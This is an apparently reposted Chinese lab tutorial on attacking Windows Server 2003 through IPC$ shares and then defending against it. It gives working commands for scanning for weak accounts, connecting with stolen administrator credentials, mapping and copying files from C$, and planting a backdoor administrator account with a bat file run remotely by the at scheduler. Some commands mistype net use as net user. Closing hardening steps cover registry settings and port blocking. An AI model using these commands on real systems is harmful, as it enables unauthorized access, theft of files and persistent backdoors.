IPC$漏洞入侵与防范

IPC$概念

IPC是英文Internet Process Connection的缩写,可以理解为“命名管道”资源。IPC$是Windows系统特有的一项管理功能,是微软公司为了方便用户使用计算机而设计的隐藏的共享,主要用来远程管理计算机。利用IPC$,连接者可以与目标主机建立一个空的连接而无需用户名和密码。利用这个空的连接,连接者还可以得到目标主机上的用户列表。

而事实上,使用这个功能最多的人不是网络管理员,而是“入侵者”!网络入侵者通过IPC$连接的建立,可以做到:建立、拷贝、删除远程计算机文件;在远程计算机上执行命令等。以下任务模拟了在Windows server 2003环境下的IPC$入侵行为,并介绍IPC$入侵的防范措施。

IPC$入侵过程

【任务分析】
① 利用扫描工具扫描目标主机的系统漏洞;
② 发现目标主机存在IPC$漏洞后,利用该漏洞连接目标主机;
③ 编写添加用户的批处理文件;
④ 利用IPC$漏洞连接目标主机后,将批处理文件复制到远程主机的本地磁盘;
⑤ 利用at命令在指定时间执行批处理文件,在远程主机添加用户,并将用户添加到管理组;
⑥ 利用添加的用户登录远程计算机,如果能够成功登录,表示入侵成功。

【任务实施】
准备工作:
① 配置虚拟机网卡,采用桥接模式实现虚拟机和主机通信;
② 给虚拟机管理员设置简单密码;
③ 下载流光扫描器,并安装在虚拟机系统中。

任务1-1 分别查看虚拟机和真实主机是否存在IPC$漏洞

【任务分析】
使用流光扫描器查看目标主机是否存在漏洞,先在虚拟机中安装流光扫描器,然后按下面步骤分别扫描真实主机和虚拟机是否有IPC$漏洞。

【任务实施】
① 启动流光扫描器,在主界面上按Ctrl+R组合键,弹出扫描框。在扫描范围栏里输入要扫描的IP地址范围,在扫描主机类型里选择Windows NT/98,确定后进行扫描。

主机扫描设置

这样,在线的Windows NT/98机器就会被扫描出来。

扫描结果

根据实际情况,分别设置IP地址为自己的虚拟机和真实主机进行扫描。

② 鼠标右击主界面上的“IPC$主机”,选择“探测”下面的“探测IPC$用户列表”命令,就会探测出给出IP地址范围的机器里的IPC$用户列表,关键是这里也可以扫描出用户列表中没有密码或是简单密码的用户,如图所示。

探测IPC$用户列表

探测结果如下:

探测结果

当然,得到用户列表后,也可以选用专门的黑客字典试探出密码。

③有了用户名和密码,在IE浏览器的地址栏输入“\\IP地址”,就会弹出一个对话框,要求输入用户名和密码,将得到的用户名和密码输入后就可轻松进入目标机器。不过这里看到的仅是目标机器主动共享出来的文件夹。如果在地址栏输入“\\IP地址\c$(或是D$、E$等)”,则可以看到目标机器C盘(或是D、E盘等)的全部内容。

任务1.2 利用IPC$漏洞入侵主机

【任务分析】
通过建立和断开IPC$连接,查看入侵者是如何将远程磁盘映射到本地的。通过IPC$连接进行入侵的条件是已获得目标主机管理员账号和密码。本任务利用真实主机入侵虚拟机,将虚拟机的C盘映射成本机的Z盘。

【任务实施】
① 单击“开始”→“运行”,在“运行”对话框中键入“cmd”命令。

② 使用命令“net use \\IP\IPC$ "PASSWORD" /user:"USERNAME"与目标主机建立IPC$连接。
例如,键入命令:net user \\172.16.32.200\IPC$ "123456" /user:"administrator",如图所示。

建立IPC$连接

③ 映射网络驱动器。
使用命令:net user z: \\172.16.32.200\c$

参数说明:
“\\172.16.32.200\c$”表示目标主机172.16.32.200上的C盘,其中“$”符号表示隐藏的共享。
“z:”表示将远程主机的C盘映射为本地磁盘的盘符。
该命令表示把172.16.32.200这台目标主机上的C盘映射为本地的Z盘,如图所示。

映射网络驱动器

映射成功后,打开“我的电脑”,会发现多了一个Z盘,上面写着“c$(\\172.16.32.200)(Z:)”,该磁盘即为目标主机的C盘,如图所示。

映射成功结果

④查找指定文件。
用鼠标右键单击Z盘,在弹出菜单中选择“搜索”,查找关键字如“账目”,等待一段时间后得到结果。然后将该文件拷贝、粘贴到本地磁盘,其拷贝、粘贴操作就像在本地磁盘进行操作一样。

⑤断开连接。
键入“net use * /del”命令可以将已建立的所有IPC$连接断开。

任务1.3 使用IPC$和bat文件在远程主机上建立账户

【任务分析】
bat文件是在Windows系统中的一种文件格式,称为批处理文件。简单来说,就是把需要执行的一系列DOS命令按顺序先后写在一个后缀名为bat的文本文件中。通过鼠标双击或使用DOS命令执行该bat文件,就相当于执行一系列DOS命令。

要执行bat文件,必须要有触发条件,一般都会使用定时来执行bat文件,也就是添加计划任务。计划任务是Windows系统自带的功能,可以在控制面板中找到,还可以用命令at来添加计划任务。

因此,本任务需要先创建一个bat文件,该文件用来在目标主机上创建用户,然后利用IPC$与目标主机连接,将bat文件复制到目标主机并在规定时间执行,最后验证创建的用户是否成功。

【任务实施】
1.编写bat文件
打开记事本,键入如下内容:

net user user01 password /add
net localgroup administrators user01 /add

其中,前一条命令表示添加用户名为user01、密码为password的账号;后一条命令表示把user01添加到管理员组(administrators)。编写好命令后,把该文件另存为“test.bat”。

2.与远程主机建立IPC$连接
使用DOS命令net use \\172.16.32.200\ipc$ "123456" /user:"administrator"即可实现连接。

3.拷贝文件至远程主机
命令格式:copy file \\ip\path,其中“file”表示要拷贝的文件的路径,如e:\test.bat表示E盘根目录下的test.bat文件。
操作过程:在cmd命令行窗口内键入命令copy e:\test.bat \\172.16.32.200\c$,将本机的test.bat文件拷贝到目标主机172.16.32.200的C盘内。此外,也可以用对方C盘网络映射的方式在图形界面下复制test.bat,并粘贴到远程主机中。

拷贝文件至远程主机

4.通过计划任务使远程主机执行test.bat文件
命令格式:net time \\ip ——— 查看远程主机的系统时间;
at \\ip time command ——— 在远程主机上建立计划任务。

操作过程:在cmd命令行窗口内键入“net time \\172.16.32.200”查看目标系统时间。

查看远程主机的系统时间

然后根据该时间为远程主机建立计划任务。键入“at \\172.16.32.200 11:57 c:\test.bat”命令,即在上午11时57分执行远程主机C盘中的test.bat文件。

在远程主机上建立计划任务

计划任务添加完毕后,使用命令“net use * /del”断开IPC$连接。

断开当前IPC$连接

5.验证账号是否成功建立
等待时间到后,远程主机就执行了test.bat文件。可以通过建立IPC$连接来验证是否成功建立了“user01”账号。在cmd命令行窗口内键入net use \\172.16.32.200\ipc$ "password" /user:"user01"命令,如能成功建立IPC$连接,则说明管理员账号“user01”已经成功建立。

验证账号是否成功建立

IPC$入侵防范

【任务分析】
怎样防止别人用IPC$和默认共享入侵目标计算机?大家可以参考以下几种方法对虚拟机进行设置,用每种方法设置后,可以用任务1.2中的方法进行IPC$连接,验证安全设置是否生效。

【任务实施】

方法一:

把IPC$和默认共享都删除了,但重启后还会有,这就需要修改注册表。
(1)先把已有的删除

net share ipc$ /del
net share admin$ /del
net share c$ /del

(2)禁止建立空连接
运行regedit,找到主键HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa,把RestrictAnonymous(DWORD)的键值改为:00000001。

(3)禁止自动打开默认共享
对于Server版,找到主键HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters,把AutoShareServer(DWORD)的键值改为:00000000。

对于Pro版,主键则是HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters,把AutoShareWks(DWORD)的键值改为:00000000。

方法二:

关闭IPC$和默认共享依赖的服务,使用以下命令:net stop lanmanserver。

可能会有提示说:xxx服务也会关闭,是否继续?因为还有些次要的服务依赖于lanmanserver,一般情况单击“y”继续就可以了。

若要重新打开该服务,则可以使用net start lanmanserver命令。

方法三:

安装防火墙或者端口过滤,通过配置本地策略来禁止139/445端口的连接。

猜你喜欢

转载自www.cnblogs.com/adorable-boy/p/10831217.html